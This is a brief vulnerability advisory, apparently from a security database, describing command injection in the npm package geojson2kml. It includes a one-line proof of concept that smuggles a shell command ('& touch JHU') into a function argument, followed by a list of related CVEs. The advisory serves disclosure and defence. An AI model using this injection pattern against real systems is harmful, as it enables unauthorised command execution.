Description
All versions of package geojson2kml are vulnerable to Command Injection via the index.js file. PoC: var a =require("geojson2kml"); a("./","& touch JHU",function(){})
Remediation
References
https://snyk.io/vuln/SNYK-JS-GEOJSON2KML-1050412
Related Vulnerabilities
CVE-2019-12041 Vulnerability in maven package org.webjars.bower:remarkable
CVE-2022-1274 Vulnerability in maven package org.keycloak:keycloak-services
CVE-2022-23221 Vulnerability in maven package com.h2database:h2
CVE-2017-3202 Vulnerability in maven package com.exadel.flamingo.flex:amf-serializer
CVE-2021-39235 Vulnerability in maven package org.apache.ozone:ozone-main